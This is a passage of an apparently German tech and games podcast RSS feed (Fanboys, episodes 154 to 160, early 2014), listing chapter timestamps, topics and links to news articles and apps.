+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:05:09</td><td>Twitter mit Photo-tagging und bis zu vier Photos</td></tr><tr><td>00:09:16</td><td><a href="http://igf.com/2014/03/papers_please_takes_the_grand_.html#more" target="_blank">IGF</td></tr><tr><td>00:11:52</td><td>App Store Indie Showcase</td></tr><tr><td>00:13:52</td><td><a href="http://blog.maxistentialism.com/post/80746371945/facebook-announced-that-they-bought-virtual" target="_blank">Facebook kauft Oculus</td></tr><tr><td>00:24:54</td><td><a href="http://www.gamespot.com/articles/disney-pays-500m-for-youtube-network-that-distributes-gaming-content-like-pewdiepie-totalbiscuit/1100-6418525/" target="_blank">Disney kauft PewDiePie</td></tr><tr><td>00:27:05</td><td><a href="http://abcnews.go.com/Business/candy-crush-king-ipo-king-digital-enterainment/story?id=23055217" target="_blank">King an der Börse</td></tr><tr><td>00:29:51</td><td><a href="http://www.theverge.com/2014/3/11/5495266/table-tennis-match-between-robot-and-man-disappointing" target="_blank">Nix mit Tischtennisroboter</td></tr><tr><td>00:34:13</td><td>Tipp: Youtube und Untertitel</td></tr><tr><td>00:37:05</td><td>Tipp: Korrekturlesen</td></tr><tr><td>00:38:35</td><td><a href="https://itunes.apple.com/de/app/star-horizon/id814466047?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Star Horizon</td></tr><tr><td>00:41:39</td><td><a href="http://playstarbound.com" target="_blank">Starbound</td></tr><tr><td>00:47:26</td><td><a href="https://itunes.apple.com/de/app/the-collider/id770704982?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">The Collider</td></tr><tr><td>00:53:24</td><td><a href="https://www.youtube.com/watch?v=g6IY19RM2Fo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:05:09" title="Twitter mit Photo-tagging und bis zu vier Photos" />
+ <sc:chapter start="00:09:16" title="IGF" href="http://igf.com/2014/03/papers_please_takes_the_grand_.html#more" />
+ <sc:chapter start="00:11:52" title="App Store Indie Showcase" />
+ <sc:chapter start="00:13:52" title="Facebook kauft Oculus" href="http://blog.maxistentialism.com/post/80746371945/facebook-announced-that-they-bought-virtual" />
+ <sc:chapter start="00:24:54" title="Disney kauft PewDiePie" href="http://www.gamespot.com/articles/disney-pays-500m-for-youtube-network-that-distributes-gaming-content-like-pewdiepie-totalbiscuit/1100-6418525/" />
+ <sc:chapter start="00:27:05" title="King an der Börse" href="http://abcnews.go.com/Business/candy-crush-king-ipo-king-digital-enterainment/story?id=23055217" />
+ <sc:chapter start="00:29:51" title="Nix mit Tischtennisroboter" href="http://www.theverge.com/2014/3/11/5495266/table-tennis-match-between-robot-and-man-disappointing" />
+ <sc:chapter start="00:34:13" title="Tipp: Youtube und Untertitel" />
+ <sc:chapter start="00:37:05" title="Tipp: Korrekturlesen" />
+ <sc:chapter start="00:38:35" title="Star Horizon" href="https://itunes.apple.com/de/app/star-horizon/id814466047?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:41:39" title="Starbound" href="http://playstarbound.com" />
+ <sc:chapter start="00:47:26" title="The Collider" href="https://itunes.apple.com/de/app/the-collider/id770704982?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:53:24" title="Rausschmeisser" href="https://www.youtube.com/watch?v=g6IY19RM2Fo" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23160&amp;user_id=map&amp;title=Fanboys%20Episode%20160&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#160:" />
+ </item>
+ <item>
+ <title>Episode #159 - Die Luft ist raus</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Die Luft ist raus</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN159.mp3" length="29611102" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN159</guid>
+ <pubDate>Wed, 19 Mar 2014 18:12:30 +0100</pubDate>
+ <itunes:duration>01:08:23</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:27 Marienstrasse
+00:01:36 No more iPad 2 - 5c mit 8GB
+00:03:47 Godus 2.0 immer noch unspaßig
+00:07:41 SNES auf iPad mit MFI Controller
+00:11:56 Android für Wearables
+00:19:16 Jony Ive in TIME
+00:20:51 Verbogenes iPhone
+00:24:15 Project Morpheus
+00:27:49 TouchID ist nicht ClickID
+00:29:53 Unity5 angekündigt
+00:33:26 Luftrausers
+00:40:39 Vlambeer talks Luftrausers
+00:41:14 teggle
+00:43:04 Slack
+00:44:59 Instashare
+00:47:24 International Color Time
+00:54:06 Smash Hit
+00:57:27 Free to Play
+01:04:31 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:27</td><td>Marienstrasse</td></tr><tr><td>00:01:36</td><td>No more iPad 2 - 5c mit 8GB</td></tr><tr><td>00:03:47</td><td>Godus 2.0 immer noch unspaßig</td></tr><tr><td>00:07:41</td><td><a href="https://github.com/monkeydom/SiOS" target="_blank">SNES auf iPad mit MFI Controller</td></tr><tr><td>00:11:56</td><td><a href="http://googleblog.blogspot.co.uk/2014/03/sharing-whats-up-our-sleeve-android.html" target="_blank">Android für Wearables</td></tr><tr><td>00:19:16</td><td><a href="http://time.com/jonathan-ive-apple-interview/" target="_blank">Jony Ive in TIME</td></tr><tr><td>00:20:51</td><td>Verbogenes iPhone</td></tr><tr><td>00:24:15</td><td><a href="http://www.heise.de/newsticker/meldung/Project-Morpheus-Sonys-Virtual-Reality-Brille-fuer-die-PS4-2149755.html" target="_blank">Project Morpheus</td></tr><tr><td>00:27:49</td><td>TouchID ist nicht ClickID</td></tr><tr><td>00:29:53</td><td><a href="http://unity3d.com/5" target="_blank">Unity5 angekündigt</td></tr><tr><td>00:33:26</td><td><a href="http://luftrausers.com" target="_blank">Luftrausers</td></tr><tr><td>00:40:39</td><td><a href="https://www.youtube.com/watch?v=ZOz1yMelJQ0" target="_blank">Vlambeer talks Luftrausers</td></tr><tr><td>00:41:14</td><td><a href="https://itunes.apple.com/us/app/teggle/id653726467?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">teggle</td></tr><tr><td>00:43:04</td><td><a href="https://slack.com" target="_blank">Slack</td></tr><tr><td>00:44:59</td><td><a href="https://itunes.apple.com/de/app/instashare-transfer-files/id685953216?l=en&amp;mt=12&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Instashare</td></tr><tr><td>00:47:24</td><td><a href="http://www.phrenopolis.com/colorclock/" target="_blank">International Color Time</td></tr><tr><td>00:54:06</td><td><a href="https://itunes.apple.com/de/app/smash-hit/id603527166?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Smash Hit</td></tr><tr><td>00:57:27</td><td><a href="http://www.freetoplaythemovie.com" target="_blank">Free to Play</td></tr><tr><td>01:04:31</td><td><a href="https://www.youtube.com/watch?v=c_cCsFU6pak" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:27" title="Marienstrasse" />
+ <sc:chapter start="00:01:36" title="No more iPad 2 - 5c mit 8GB" />
+ <sc:chapter start="00:03:47" title="Godus 2.0 immer noch unspaßig" />
+ <sc:chapter start="00:07:41" title="SNES auf iPad mit MFI Controller" href="https://github.com/monkeydom/SiOS" />
+ <sc:chapter start="00:11:56" title="Android für Wearables" href="http://googleblog.blogspot.co.uk/2014/03/sharing-whats-up-our-sleeve-android.html" />
+ <sc:chapter start="00:19:16" title="Jony Ive in TIME" href="http://time.com/jonathan-ive-apple-interview/" />
+ <sc:chapter start="00:20:51" title="Verbogenes iPhone" />
+ <sc:chapter start="00:24:15" title="Project Morpheus" href="http://www.heise.de/newsticker/meldung/Project-Morpheus-Sonys-Virtual-Reality-Brille-fuer-die-PS4-2149755.html" />
+ <sc:chapter start="00:27:49" title="TouchID ist nicht ClickID" />
+ <sc:chapter start="00:29:53" title="Unity5 angekündigt" href="http://unity3d.com/5" />
+ <sc:chapter start="00:33:26" title="Luftrausers" href="http://luftrausers.com" />
+ <sc:chapter start="00:40:39" title="Vlambeer talks Luftrausers" href="https://www.youtube.com/watch?v=ZOz1yMelJQ0" />
+ <sc:chapter start="00:41:14" title="teggle" href="https://itunes.apple.com/us/app/teggle/id653726467?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:43:04" title="Slack" href="https://slack.com" />
+ <sc:chapter start="00:44:59" title="Instashare" href="https://itunes.apple.com/de/app/instashare-transfer-files/id685953216?l=en&amp;mt=12&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:47:24" title="International Color Time" href="http://www.phrenopolis.com/colorclock/" />
+ <sc:chapter start="00:54:06" title="Smash Hit" href="https://itunes.apple.com/de/app/smash-hit/id603527166?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:57:27" title="Free to Play" href="http://www.freetoplaythemovie.com" />
+ <sc:chapter start="01:04:31" title="Rausschmeisser" href="https://www.youtube.com/watch?v=c_cCsFU6pak" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23159&amp;user_id=map&amp;title=Fanboys%20Episode%20159&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#159:" />
+ </item>
+ <item>
+ <title>Episode #158 - Stempel Simulator 2014</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Stempel Simulator 2014</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN158.mp3" length="29656143" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN158</guid>
+ <pubDate>Thu, 13 Mar 2014 16:38:21 +0100</pubDate>
+ <itunes:duration>01:06:08</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:10 Satoshi Nakamoto
+00:08:45 iOS 7.1
+00:12:06 ⇧????
+00:14:59 Logo
+00:27:23 Godus beta 2.0
+00:32:14 Indiehaven mit Jonathan Blow
+00:36:42 Little Pink Best Buds
+00:42:46 Mnemonic
+00:49:17 Wave Wave
+00:52:16 Oquonie
+00:54:44 Squirt.io
+00:55:59 The Walk
+01:02:24 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:10</td><td>Satoshi Nakamoto</td></tr><tr><td>00:08:45</td><td>iOS 7.1</td></tr><tr><td>00:12:06</td><td><a href="http://ismyshiftkeyonornot.com" target="_blank">⇧????</td></tr><tr><td>00:14:59</td><td><a href="http://images.apple.com/home/images/promo_ios_update_2x.jpg" target="_blank">Logo</td></tr><tr><td>00:27:23</td><td><a href="http://www.pcgames.de/Project-Godus-PC-256624/News/Godus-Beta-20-Entwickler-krempeln-Goettersimulaton-um-1113171/" target="_blank">Godus beta 2.0</td></tr><tr><td>00:32:14</td><td><a href="http://indiehaven.com/the-indie-haven-podcast-episode-37-jonathan-blow-braid-and-the-witness/" target="_blank">Indiehaven mit Jonathan Blow</td></tr><tr><td>00:36:42</td><td>Little Pink Best Buds</td></tr><tr><td>00:42:46</td><td>Mnemonic</td></tr><tr><td>00:49:17</td><td><a href="https://itunes.apple.com/us/app/wave-wave/id717990207?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Wave Wave</td></tr><tr><td>00:52:16</td><td><a href="https://itunes.apple.com/us/app/oquonie/id819777958?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Oquonie</td></tr><tr><td>00:54:44</td><td><a href="http://www.squirt.io" target="_blank">Squirt.io</td></tr><tr><td>00:55:59</td><td><a href="https://itunes.apple.com/de/app/walk-fitness-tracker-game/id678971662?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">The Walk</td></tr><tr><td>01:02:24</td><td><a href="https://soundcloud.com/geekfitgirl/i-should-go-a-frozen-mass" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:10" title="Satoshi Nakamoto" />
+ <sc:chapter start="00:08:45" title="iOS 7.1" />
+ <sc:chapter start="00:12:06" title="⇧????" href="http://ismyshiftkeyonornot.com" />
+ <sc:chapter start="00:14:59" title="Logo" href="http://images.apple.com/home/images/promo_ios_update_2x.jpg" />
+ <sc:chapter start="00:27:23" title="Godus beta 2.0" href="http://www.pcgames.de/Project-Godus-PC-256624/News/Godus-Beta-20-Entwickler-krempeln-Goettersimulaton-um-1113171/" />
+ <sc:chapter start="00:32:14" title="Indiehaven mit Jonathan Blow" href="http://indiehaven.com/the-indie-haven-podcast-episode-37-jonathan-blow-braid-and-the-witness/" />
+ <sc:chapter start="00:36:42" title="Little Pink Best Buds" />
+ <sc:chapter start="00:42:46" title="Mnemonic" />
+ <sc:chapter start="00:49:17" title="Wave Wave" href="https://itunes.apple.com/us/app/wave-wave/id717990207?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:52:16" title="Oquonie" href="https://itunes.apple.com/us/app/oquonie/id819777958?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:54:44" title="Squirt.io" href="http://www.squirt.io" />
+ <sc:chapter start="00:55:59" title="The Walk" href="https://itunes.apple.com/de/app/walk-fitness-tracker-game/id678971662?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:02:24" title="Rausschmeisser" href="https://soundcloud.com/geekfitgirl/i-should-go-a-frozen-mass" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23158&amp;user_id=map&amp;title=Fanboys%20Episode%20158&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#158:" />
+ </item>
+ <item>
+ <title>Episode #157 - Lilablassblau</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lilablassblau</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN157.mp3" length="30345416" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN157</guid>
+ <pubDate>Thu, 06 Mar 2014 16:39:27 +0100</pubDate>
+ <itunes:duration>01:06:20</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:35 iOS 7.1 on the horizon
+00:07:18 GnuTLS
+00:13:04 iOS Security Whitepaper
+00:14:15 Tizen
+00:18:42 Satoshi Nakamoto
+00:22:11 Speed reading
+00:33:52 Spritekit
+00:45:34 Amaze-Berlin
+00:47:34 Out There
+00:53:06 Startseedobservatory.com
+00:54:42 Amnesia Fortnight
+01:01:29 Continue?9876543210
+01:04:13 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:35</td><td><a href="http://daringfireball.net/linked/2014/03/04/ios-7-itunes-festival" target="_blank">iOS 7.1 on the horizon</td></tr><tr><td>00:07:18</td><td><a href="http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping/" target="_blank">GnuTLS</td></tr><tr><td>00:13:04</td><td><a href="http://tidbits.com/article/14557" target="_blank">iOS Security Whitepaper</td></tr><tr><td>00:14:15</td><td><a href="http://arstechnica.com/gadgets/2014/02/hands-on-with-samsungs-tizen-os-a-impressively-capable-android-clone/" target="_blank">Tizen</td></tr><tr><td>00:18:42</td><td><a href="http://mag.newsweek.com/2014/03/14/bitcoin-satoshi-nakamoto.html" target="_blank">Satoshi Nakamoto</td></tr><tr><td>00:22:11</td><td><a href="http://www.spreeder.com" target="_blank">Speed reading</td></tr><tr><td>00:33:52</td><td>Spritekit</td></tr><tr><td>00:45:34</td><td><a href="http://www.amaze-berlin.de" target="_blank">Amaze-Berlin</td></tr><tr><td>00:47:34</td><td><a href="https://itunes.apple.com/de/app/out-there/id799471892?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Out There</td></tr><tr><td>00:53:06</td><td><a href="http://starseedobservatory.com/home.html" target="_blank">Startseedobservatory.com</td></tr><tr><td>00:54:42</td><td><a href="https://www.youtube.com/playlist?list=PLIhLvue17Sd7Y5qXNqV1wDPtdNPjZ-tw0" target="_blank">Amnesia Fortnight</td></tr><tr><td>01:01:29</td><td><a href="https://itunes.apple.com/de/app/continue-9876543210/id748095052?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Continue?9876543210</td></tr><tr><td>01:04:13</td><td><a href="https://www.youtube.com/watch?v=X6oUz1v17Uo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:35" title="iOS 7.1 on the horizon" href="http://daringfireball.net/linked/2014/03/04/ios-7-itunes-festival" />
+ <sc:chapter start="00:07:18" title="GnuTLS" href="http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping/" />
+ <sc:chapter start="00:13:04" title="iOS Security Whitepaper" href="http://tidbits.com/article/14557" />
+ <sc:chapter start="00:14:15" title="Tizen" href="http://arstechnica.com/gadgets/2014/02/hands-on-with-samsungs-tizen-os-a-impressively-capable-android-clone/" />
+ <sc:chapter start="00:18:42" title="Satoshi Nakamoto" href="http://mag.newsweek.com/2014/03/14/bitcoin-satoshi-nakamoto.html" />
+ <sc:chapter start="00:22:11" title="Speed reading" href="http://www.spreeder.com" />
+ <sc:chapter start="00:33:52" title="Spritekit" />
+ <sc:chapter start="00:45:34" title="Amaze-Berlin" href="http://www.amaze-berlin.de" />
+ <sc:chapter start="00:47:34" title="Out There" href="https://itunes.apple.com/de/app/out-there/id799471892?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:53:06" title="Startseedobservatory.com" href="http://starseedobservatory.com/home.html" />
+ <sc:chapter start="00:54:42" title="Amnesia Fortnight" href="https://www.youtube.com/playlist?list=PLIhLvue17Sd7Y5qXNqV1wDPtdNPjZ-tw0" />
+ <sc:chapter start="01:01:29" title="Continue?9876543210" href="https://itunes.apple.com/de/app/continue-9876543210/id748095052?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:04:13" title="Rausschmeisser" href="https://www.youtube.com/watch?v=X6oUz1v17Uo" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23157&amp;user_id=map&amp;title=Fanboys%20Episode%20157&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#157:" />
+ </item>
+ <item>
+ <title>Episode #156 - Karnevalcontent</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Karnevalcontent</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN156.mp3" length="27608195" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN156</guid>
+ <pubDate>Thu, 27 Feb 2014 16:28:04 +0100</pubDate>
+ <itunes:duration>01:00:49</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:47 iOS 7.0.6 / OS X 10.9.2
+00:14:03 Keylogging exploit
+00:15:32 Netflix zahlt jetzt Comcast direkt
+00:22:07 Apple kauft Firma hinter Testflight. Kein Android mehr.
+00:28:04 Samsung S5
+00:31:44 Samsung Gear 2, Fit
+00:36:30 Lol. ACL for WebOS
+00:38:59 F2P ruins everthing
+00:41:04 Tengami
+00:44:55 Antichamber
+00:50:59 Amnesia Fortnight
+00:57:22 David Bowie Ausstellung
+00:58:46 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:47</td><td><a href="https://www.imperialviolet.org/2014/02/22/applebug.html" target="_blank">iOS 7.0.6 / OS X 10.9.2</td></tr><tr><td>00:14:03</td><td><a href="http://www.macrumors.com/2014/02/25/security-flaw-log-touch-inputs/" target="_blank">Keylogging exploit</td></tr><tr><td>00:15:32</td><td><a href="http://www.reuters.com/article/2014/02/24/us-comcast-netflix-idUSBREA1M0X520140224" target="_blank">Netflix zahlt jetzt Comcast direkt</td></tr><tr><td>00:22:07</td><td><a href="http://help.testflightapp.com/customer/portal/articles/1450414" target="_blank">Apple kauft Firma hinter Testflight. Kein Android mehr.</td></tr><tr><td>00:28:04</td><td><a href="http://www.heise.de/newsticker/meldung/Samsung-Galaxy-S5-mit-Fingerabrucksensor-mit-erstem-Hands-on-2121931.html" target="_blank">Samsung S5</td></tr><tr><td>00:31:44</td><td><a href="http://www.youtube.com/watch?v=xJxD9B2qlRA" target="_blank">Samsung Gear 2, Fit</td></tr><tr><td>00:36:30</td><td><a href="http://www.openmobileww.com/#!acl-for-webos/ctog" target="_blank">Lol. ACL for WebOS</td></tr><tr><td>00:38:59</td><td><a href="http://www.gamesindustry.biz/articles/2014-02-26-15-percent-of-mobile-gamers-make-up-50-percent-of-revenue-survey" target="_blank">F2P ruins everthing</td></tr><tr><td>00:41:04</td><td><a href="https://itunes.apple.com/us/app/tengami/id794960248?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Tengami</td></tr><tr><td>00:44:55</td><td>Antichamber</td></tr><tr><td>00:50:59</td><td><a href="http://www.doublefine.com" target="_blank">Amnesia Fortnight</td></tr><tr><td>00:57:22</td><td><a href="http://www.davidbowie-berlin.de" target="_blank">David Bowie Ausstellung</td></tr><tr><td>00:58:46</td><td><a href="http://doublefine.tumblr.com/post/77748742402/a-rough-version-of-the-little-pink-best-buds" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:47" title="iOS 7.0.6 / OS X 10.9.2" href="https://www.imperialviolet.org/2014/02/22/applebug.html" />
+ <sc:chapter start="00:14:03" title="Keylogging exploit" href="http://www.macrumors.com/2014/02/25/security-flaw-log-touch-inputs/" />
+ <sc:chapter start="00:15:32" title="Netflix zahlt jetzt Comcast direkt" href="http://www.reuters.com/article/2014/02/24/us-comcast-netflix-idUSBREA1M0X520140224" />
+ <sc:chapter start="00:22:07" title="Apple kauft Firma hinter Testflight. Kein Android mehr." href="http://help.testflightapp.com/customer/portal/articles/1450414" />
+ <sc:chapter start="00:28:04" title="Samsung S5" href="http://www.heise.de/newsticker/meldung/Samsung-Galaxy-S5-mit-Fingerabrucksensor-mit-erstem-Hands-on-2121931.html" />
+ <sc:chapter start="00:31:44" title="Samsung Gear 2, Fit" href="http://www.youtube.com/watch?v=xJxD9B2qlRA" />
+ <sc:chapter start="00:36:30" title="Lol. ACL for WebOS" href="http://www.openmobileww.com/#!acl-for-webos/ctog" />
+ <sc:chapter start="00:38:59" title="F2P ruins everthing" href="http://www.gamesindustry.biz/articles/2014-02-26-15-percent-of-mobile-gamers-make-up-50-percent-of-revenue-survey" />
+ <sc:chapter start="00:41:04" title="Tengami" href="https://itunes.apple.com/us/app/tengami/id794960248?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:44:55" title="Antichamber" />
+ <sc:chapter start="00:50:59" title="Amnesia Fortnight" href="http://www.doublefine.com" />
+ <sc:chapter start="00:57:22" title="David Bowie Ausstellung" href="http://www.davidbowie-berlin.de" />
+ <sc:chapter start="00:58:46" title="Rausschmeisser" href="http://doublefine.tumblr.com/post/77748742402/a-rough-version-of-the-little-pink-best-buds" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23156&amp;user_id=map&amp;title=Fanboys%20Episode%20156&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#156:" />
+ </item>
+ <item>
+ <title>Episode #155 - Ein Meter Polyneux</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Ein Meter Polyneux</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN155.mp3" length="26580434" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN155</guid>
+ <pubDate>Thu, 20 Feb 2014 16:29:49 +0100</pubDate>
+ <itunes:duration>01:01:40</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:52 Framer
+00:06:13 Polyneux und Invest to Play
+00:14:01 How to not be a Glasshole
+00:19:19 Rejecty Bird
+00:22:27 ProTip: Alt-rauf/runter in Messages Mac
+00:24:23 Facebook kauft Whatsapp
+00:29:23 Amnesia Fortnight
+00:36:30 Gorogoa
+00:41:18 Humblebundle 11 mit Antichamber und Swapper
+00:54:15 Dumb ways to die
+00:56:18 Waterlogue
+00:58:56 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:52</td><td><a href="http://www.framerjs.com" target="_blank">Framer</td></tr><tr><td>00:06:13</td><td><a href="http://www.polygon.com/2014/2/18/5421804/godus-features-monetization-that-hasnt-existed-before-says-molyneux" target="_blank">Polyneux und Invest to Play</td></tr><tr><td>00:14:01</td><td><a href="http://www.theverge.com/2014/2/18/5423686/google-tells-glass-users-dont-be-glassholes" target="_blank">How to not be a Glasshole</td></tr><tr><td>00:19:19</td><td><a href="http://www.marco.org/2014/02/18/flappy-bans" target="_blank">Rejecty Bird</td></tr><tr><td>00:22:27</td><td>ProTip: Alt-rauf/runter in Messages Mac</td></tr><tr><td>00:24:23</td><td><a href="http://www.theverge.com/2014/2/19/5427332/facebook-is-buying-whatsapp" target="_blank">Facebook kauft Whatsapp</td></tr><tr><td>00:29:23</td><td><a href="http://www.doublefine.com/af2014/" target="_blank">Amnesia Fortnight</td></tr><tr><td>00:36:30</td><td><a href="http://gorogoa.com" target="_blank">Gorogoa</td></tr><tr><td>00:41:18</td><td><a href="https://www.humblebundle.com" target="_blank">Humblebundle 11 mit Antichamber und Swapper</td></tr><tr><td>00:54:15</td><td><a href="https://itunes.apple.com/de/app/dumb-ways-to-die/id639930688?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Dumb ways to die</td></tr><tr><td>00:56:18</td><td><a href="https://itunes.apple.com/de/app/waterlogue/id764925064?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Waterlogue</td></tr><tr><td>00:58:56</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:52" title="Framer" href="http://www.framerjs.com" />
+ <sc:chapter start="00:06:13" title="Polyneux und Invest to Play" href="http://www.polygon.com/2014/2/18/5421804/godus-features-monetization-that-hasnt-existed-before-says-molyneux" />
+ <sc:chapter start="00:14:01" title="How to not be a Glasshole" href="http://www.theverge.com/2014/2/18/5423686/google-tells-glass-users-dont-be-glassholes" />
+ <sc:chapter start="00:19:19" title="Rejecty Bird" href="http://www.marco.org/2014/02/18/flappy-bans" />
+ <sc:chapter start="00:22:27" title="ProTip: Alt-rauf/runter in Messages Mac" />
+ <sc:chapter start="00:24:23" title="Facebook kauft Whatsapp" href="http://www.theverge.com/2014/2/19/5427332/facebook-is-buying-whatsapp" />
+ <sc:chapter start="00:29:23" title="Amnesia Fortnight" href="http://www.doublefine.com/af2014/" />
+ <sc:chapter start="00:36:30" title="Gorogoa" href="http://gorogoa.com" />
+ <sc:chapter start="00:41:18" title="Humblebundle 11 mit Antichamber und Swapper" href="https://www.humblebundle.com" />
+ <sc:chapter start="00:54:15" title="Dumb ways to die" href="https://itunes.apple.com/de/app/dumb-ways-to-die/id639930688?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:56:18" title="Waterlogue" href="https://itunes.apple.com/de/app/waterlogue/id764925064?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:58:56" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23155&amp;user_id=map&amp;title=Fanboys%20Episode%20155&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#155:" />
+ </item>
+ <item>
+ <title>Episode #154 - Floppy Bird</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Floppy Bird</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN154.mp3" length="25891072" type="audio/mpeg"/>
